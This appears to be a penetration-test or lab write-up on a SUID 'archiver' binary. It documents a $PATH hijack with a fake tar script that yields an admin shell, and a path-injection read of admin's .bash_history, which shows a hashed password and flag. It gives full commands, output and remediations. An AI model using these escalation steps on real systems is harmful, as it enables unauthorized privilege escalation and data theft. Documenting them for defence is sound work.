



PT Report

“The Archiver”

• Executive Summary

Summary

During this assessment, a critical misconfiguration was discovered in the archiver SUID binary, allowing privilege escalation from the non-privileged ralph user to gain unauthorized access to sensitive files owned by the admin user. This vulnerability, classified as **Critical**, exposes the system to significant risks of unauthorized data access and privilege escalation due to improper file access permissions and lack of input validation in the archiver binary.

Potential Business Impact: If exploited in a production environment, this vulnerability could lead to unauthorized access to sensitive data, exposing confidential information, system configurations, and enabling unauthorized actions by attackers. This data exposure can result in compliance risks, reputational damage, and potential operational disruptions.

Conclusions

The system's security posture is assessed as **Low** due to the ease of exploitation and the high severity of impact from this vulnerability. The primary contributing factors to this assessment are:

- **format string flaw combined with \$PATH manipulation**
in the archiver tool, which allowed further privilege escalation by executing a crafted payload to gain unauthorized shell access with admin privileges. Both vulnerabilities are classified as Critical due to the potential for unauthorized data access and privilege escalation.
- **Insecure SUID Binary Configuration:**
Misconfigured permissions on the archiver binary enabled unauthorized users to access sensitive admin files, posing critical security risks. This vulnerability facilitates unauthorized data access and provides a pathway for privilege escalation, compromising system integrity.

• Finding Details

VULN-001 Privilege Escalation via Malicious Tar Payload and \$PATH Manipulation (Critical)

Description:

A critical vulnerability in the archiver tool was identified, stemming from its reliance on the \$PATH environment variable and insufficient input validation. By crafting a malicious tar payload and manipulating the \$PATH variable, it was possible to execute arbitrary commands, leading to privilege escalation from the non-privileged ralph user to the admin user. This vulnerability was further facilitated by the tool's failure to specify absolute paths for system binaries and its improper handling of user input.

Details:

The archiver tool was found to invoke the tar command dynamically using the \$PATH environment variable rather than specifying an absolute path. This behavior made it possible to manipulate \$PATH and force the tool to execute a malicious binary. By crafting a fake tar script that executed /bin/bash and placing it in a user-controlled directory, the attacker could prioritize this directory in \$PATH, causing the tool to run the fake binary instead of the legitimate system tar.

Additionally, error messages such as "Character limit reached (EOVERFLOW)" and "Invalid usage!" revealed improper input handling, further demonstrating the lack of sanitization and validation. Combined with the tool's SUID/SGID privileges, this made it possible to escalate privileges from ralph to admin by gaining control over the backup process

Evidence:

1. Identify Vulnerability:

The archiver tool's reliance on the \$PATH environment variable to locate the tar binary was confirmed through analysis. The help menu and error messages such as "Character limit reached (EOVERFLOW)" and "Invalid usage!" indicated dynamic processing of inputs and a lack of sanitization. These findings demonstrated that the tool could be manipulated to execute binaries placed in user-controlled directories.

```
AHHHEHF.FAWL=/#AVIAUIATAUH- #SL)#HTLLDAH9u[[]A\A]A^A_f.DHHhelp-h --help Displays this helpfile-f --file Archives the specified fileInvalid usage! Please provide a valid file!
list-l --list Archives files listed in a .txt file
(e.g --list files.txt)Invalid usage, please provide a file list
%Invalid flag
%Please refer to --help
%Character limit reached (EOVERFLOW)tar -Pcvf/var/backups/home-%1$s.tar.gz /home/%1$sArchiving home directory to /var/backups ...
%The home directory was successfully archived
Archiver: ./archiver [options] Archives files for the purpose of backup.

By default, the /home directory is archived.

Files that are archived, are placed in /var/backups.

Specify a file to archive, or automate the process
by providing a .txt file that lists all the files to be archived.
In the .txt file, each filename should be separated with a space, or each filename should appear on a new line.
Options: %s
tar -Pcvf/var/backups/%1$s.gz %1$s%Invalid input
%$s was successfully archived
tar -Pcvf/var/backups/backed-up-from-list.gz %1$s.txt%The list file must be a .txt file
r%The file was not found
%Character limit reached (EOVERFLOW)
%The following files were successfully archived: %s
```

2.Craft Malicious tar Script:

A custom tar script was created to execute /bin/bash, enabling privilege escalation:

```
echo "bash -c /bin/bash" > /home/ralph/Desktop/newsletter/tools/tar
```

```
chmod +x /home/ralph/Desktop/newsletter/tools/tar
```

```
ralph@Ubuntu:~/Desktop/newsletter/tools$ echo "bash -c /bin/bash" > /home/ralph/Desktop/newsletter/tools/tar
ralph@Ubuntu:~/Desktop/newsletter/tools$ chmod +x /home/ralph/Desktop/newsletter/tools/tar
ralph@Ubuntu:~/Desktop/newsletter/tools$
```

3. Manipulating the \$PATH Environment Variable:

The \$PATH variable was updated to prioritize the directory containing the malicious tar script:

```
export PATH=/home/ralph/Desktop/newsletter/tools:$PATH
```

```
ralph@Ubuntu:~/Desktop/newsletter/tools$ export PATH=/home/ralph/Desktop/newsletter/tools:$PATH
ralph@Ubuntu:~/Desktop/newsletter/tools$
```

This ensured that the archiver tool executed the malicious binary instead of the legitimate system tar.

4. Exploiting the Archiver Tool:

Running the archiver binary with the modified \$PATH successfully invoked the malicious tar script. This action escalated privileges from ralph to admin, as evidenced by an admin-level shell.

```
ralph@Ubuntu:~/Desktop/newsletter/tools$ echo "bash -c /bin/bash" > /home/ralph/Desktop/newsletter/tools/tar
ralph@Ubuntu:~/Desktop/newsletter/tools$ chmod +x /home/ralph/Desktop/newsletter/tools/tar
ralph@Ubuntu:~/Desktop/newsletter/tools$ export PATH=/home/ralph/Desktop/newsletter/tools:$PATH
ralph@Ubuntu:~/Desktop/newsletter/tools$ ./archiver
Archiving home directory to /var/backups ...
admin@Ubuntu:~/Desktop/newsletter/tools$
```

The following screenshot demonstrates the archiver tool executing the malicious tar script after \$PATH manipulation, resulting in an admin shell.

Remediations

1. **Use Absolute Paths:**
Modify the archiver tool to call system binaries like /bin/tar directly, avoiding reliance on \$PATH.
2. **Sanitize \$PATH:**
Restrict the \$PATH variable to trusted directories (e.g., /usr/bin:/bin) during execution.
3. **Validate Inputs:**
Implement input validation to ensure file paths are valid, normalized, and restricted to whitelisted directories.
4. **Remove SUID/SGID Permissions:**
Remove SUID and SGID permissions from the archiver binary:

```
chmod u-s /home/ralph/Desktop/newsletter/tools/archiver
chmod g-s /home/ralph/Desktop/newsletter/tools/archiver
```

- Finding Details

VULN-002: Insecure SUID Binary Configuration with Path Injection – Unauthorized File Access (High)

Description

Insecure SUID Binary Configuration with Path Injection is a vulnerability that occurs when a binary is configured with SUID (Set User ID) or SGID (Set Group ID) permissions, allowing it to execute with the elevated privileges of the file owner. When improperly configured, SUID binaries can be exploited by non-privileged users to perform actions or access files outside of their permission level. Path Injection further allows users to specify arbitrary file paths, potentially accessing sensitive files without authorization.

An attacker can exploit this vulnerability to bypass access controls, gaining unauthorized access to sensitive files and data.

Path Injection Explanation

Path Injection occurs when a program allows users to specify arbitrary file paths, potentially accessing files outside the intended directory. In this case, the archiver binary's -l option allowed user-specified paths, enabling access to files beyond ralph's permission level, such as /home/admin/.bash_history. This vulnerability commonly arises when user input is insufficiently restricted, leading to unauthorized access to sensitive files or directories.

Details

During the assessment, i discovered that the archiver binary, located in /home/ralph/Desktop/newsletter/tools/, was configured with both SUID and SGID permissions, allowing it to execute with admin privileges. This configuration flaw permitted a non-privileged user to specify arbitrary files for archiving, including sensitive files owned by admin.

i performed the following steps to exploit this vulnerability:

1. Creating a Custom File List:

- I created a file (test.txt) that contained the path to a sensitive file, specifically /home/admin/.bash_history:
echo "/home/admin/.bash_history"> test.txt

2. Executing archiver with the Custom File List:

- The archiver binary was executed with the -l option, allowing the custom file list to be specified for archiving:
./archiver -l test.txt
- This command archived /home/admin/.bash_history into /var/backups/, effectively granting the ralph user access to a restricted file.

By using this approach, I bypassed the usual access control restrictions, enabling unauthorized access to admin's command history. This confirmed that the archiver tool could be exploited for privilege escalation via Path Injection by specifying arbitrary file paths for archiving.

Evidence

This vulnerability was identified and confirmed through command execution and verification steps. The following commands and actions were performed to exploit the insecure configuration, with screenshots included to document each stage:

1. Identifying SUID Binaries:

find / -perm -4000 2>/dev/null

```
ralph@Ubuntu:~$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/umount
/home/ralph/Desktop/newsletter/tools/archiver
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
ralph@Ubuntu:~$
```

2. Checking Permissions for the archiver Binary:

- The following command checked the permissions of the archiver binary located in /home/ralph/Desktop/newsletter/tools/. This step was important to confirm that the binary had SUID and SGID permissions set, allowing it to run with admin privileges:

```
ralph@Ubuntu:~$ ls -l /home/ralph/Desktop/newsletter/tools/archiver
-r-sr-sr-x 1 admin admin 24560 Nov 23 2022 /home/ralph/Desktop/newsletter/tools/archiver
ralph@Ubuntu:~$
```

3. Inspecting the Archiver Binary

The cat command was used to examine the contents of the archiver binary, revealing basic information about its structure. Additionally, running the --help menu highlighted that the binary could be executed with the -l option, allowing user-defined file lists (e.g., ./archiver -l test.txt). This option, combined with the lack of input sanitization, opened up the potential for path injection by allowing arbitrary file paths to be specified, significantly increasing the risk of unauthorized access to sensitive files outside the designated directory.

```
ARCHIVER: /home/ralph/Desktop/newsletter/tools/archiver --help displays this helpfile! --file Archives the specified file
Invalid usage! Please provide a valid file!
list-l --list Archives files listed in a .txt file
(e.g --list files.txt)Invalid usage, please provide a file list

%sInvalid flag
%sPlease refer to --help
%s%s: %sCharacter limit reached (EOVERFLOW)tar -Pcvf/var/backups/home-%1$s.tar.gz /home/%1$sArchiving home directory to /var/backups ...
%sThe home directory was successfully archived
Archiver: ./archiver [options] Archives files for the purpose of backup.

By default, the /home directory is archived.

Files that are archived, are placed in /var/backups.

Specify a file to archive, or automate the process
by providing a .txt file that lists all the files to be archived.
In the .txt file, each filename should be separated with a space, or each filename should appear on a new line.
Options: %s
tar -Pcvf/var/backups/%1$s.gz %1$s%sInvalid input
%s%s was successfully archived
tar -Pcvf/var/backups/backed-up-from-list.gz %1$s.txt%sThe list file must be a .txt file
r%sThe file was not found
%sCharacter limit reached (EOVERFLOW)
%sThe following files were successfully archived: %s
```

```

ralph@Ubuntu:~/Desktop/newsletter/tools$ ./archiver --help
Archiver: ./archiver [options]
  Archives files for the purpose of backup.

  By default, the /home directory is archived.

  Files that are archived, are placed in /var/backups.

  Specify a file to archive, or automate the process
  by providing a .txt file that lists all the files to be archived.
  In the .txt file, each filename should be separated with a space, or each filename should appear on
  a new line.

Options:
  -h --help  Displays this help
  -f --file  Archives the specified file
  -l --list  Archives files listed in a .txt file
             (e.g --list files.txt)
ralph@Ubuntu:~/Desktop/newsletter/tools$

```

4. Creating a Custom File List:

- The following command created a file (test.txt) that specified the path of the sensitive .bash_history file for potential backup by archiver:

```
echo "/home/admin/.bash_history" > test.txt
```

```

ralph@Ubuntu:~/Desktop/newsletter/tools$ echo "/home/admin/.bash_history" > test.txt
ralph@Ubuntu:~/Desktop/newsletter/tools$ ls
archiver  test.txt
ralph@Ubuntu:~/Desktop/newsletter/tools$

```

5. Executing archiver with the Custom File List:

- This command used the -l option in archiver to specify test.txt as the list of files to be archived, attempting to back up admin's .bash_history:

```

ralph@Ubuntu:~/Desktop/newsletter/tools$ ./archiver -l test.txt
/home/admin/.bash_history
The following files were successfully archived: /home/admin/.bash_history
ralph@Ubuntu:~/Desktop/newsletter/tools$ ~

```

5. Executing archiver with the Custom File List:

- This command used the -l option in archiver to specify test.txt as the list of files to be archived, attempting to back up admin's .bash_history:

```
./archiver -l test.txt
```

```
ralph@Ubuntu:~/Desktop/newsletter/tools$ ./archiver -l test.txt
/home/admin/.bash_history
The following files were successfully archived: /home/admin/.bash_history
ralph@Ubuntu:~/Desktop/newsletter/tools$ ~
```

6. Viewing the Archived .bash_history File:


- After successfully backing up .bash_history, the following command revealed its contents from the backup file in /var/backups/:

```
cat /var/backups/backed-up-from-list.gz
```

```
admin@Ubuntu:~/Desktop/newsletter/tools$ cd /var/backups/
admin@Ubuntu:/var/backups$ ls
backed-up-from-list.gz
admin@Ubuntu:/var/backups$ cat backed-up-from-list.gz
```

And this is the admin bash_history with the FLAG inside

```
reflector --age 12 --sort rate --save /etc/pacman.d/mirrorlist
reflector --age 12 --sort rate --save /etc/pacman.d/mirrorlist
ping 8.8.8.8
reflector --age 12 --sort rate --save /etc/pacman.d/mirrorlist
pacman -Sy dhcpcd
pacman -S networkmanager
ping 8.8.8.8
passwd 484b47456007e91fa4fd81ead2dd1abb
systemctl start NetworkManager.service
ip a
ping 8.8.8.8
systemctl enable NetworkManager.service
useradd -m test
passwd test
pacman -S sudo
visudo
pacman -S vim vi
visudo
pacman -S xfce4 xfce4-goodies
reboot
pacman -S lightdm-gtk-greeter lightdm-gtk-greeter-settings alsa network-manager-applet
pacman -S zsh xfce4-notifyd
systemctl enable lightdm
systemctl enable lightdm
```



Remediation

1. Restrict Input Paths:

Implement strict validation to ensure user-specified file paths:

- Are within a predefined or whitelisted directory.
- Do not contain patterns like ../ or absolute paths to escape intended directories.

2. Validate User Inputs:

Sanitize all user inputs to prevent malformed or malicious file paths from being processed.

3.Remove SUID/SGID Permissions:

Remove SUID and SGID permissions from the archiver binary to reduce the risk of privilege escalation:

```
chmod u-s /home/ralph/Desktop/newsletter/tools/archiver chmod g-s  
/home/ralph/Desktop/newsletter/tools/archiver
```

4.Restrict File Access Permissions:

Limit access to sensitive files (e.g., /home/admin/.bash_history) to authorized users only. Implement role-based access control (RBAC) to enforce file access restrictions.

5. Use Secure Defaults:

Configure the archiver binary to restrict file operations to a secure, predefined directory by default, preventing users from specifying arbitrary file paths.

Written by Omri kogot